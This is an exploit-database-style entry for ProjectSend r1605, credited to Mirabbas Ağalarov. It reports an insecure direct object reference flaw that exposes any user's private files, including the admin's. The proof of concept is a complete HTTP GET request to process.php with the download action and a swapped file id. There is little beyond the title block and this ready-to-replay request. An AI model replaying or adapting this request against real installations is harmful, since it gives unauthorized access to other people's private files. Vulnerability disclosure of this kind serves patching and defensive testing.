projectSend r1605 - Private file download

Exploit Title: projectSend r1605 - Private file download
Application: projectSend
Version: r1605
Bugs:  IDOR
Technology: PHP
Vendor URL: https://www.projectsend.org/
Software Link: https://www.projectsend.org/
Date of found: 24-01-2023
Author: Mirabbas Ağalarov
Tested on: Linux 



Technical Details & POC
========================================

1.Access to private files of any user, including admin


just change id



GET /process.php?do=download&id=[any user's private pictures id] HTTP/1.1
Host: localhost
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/manage-files.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: download_started=false; PHPSESSID=e46dtgmf95uu0usnceebfqbp0f
Connection: close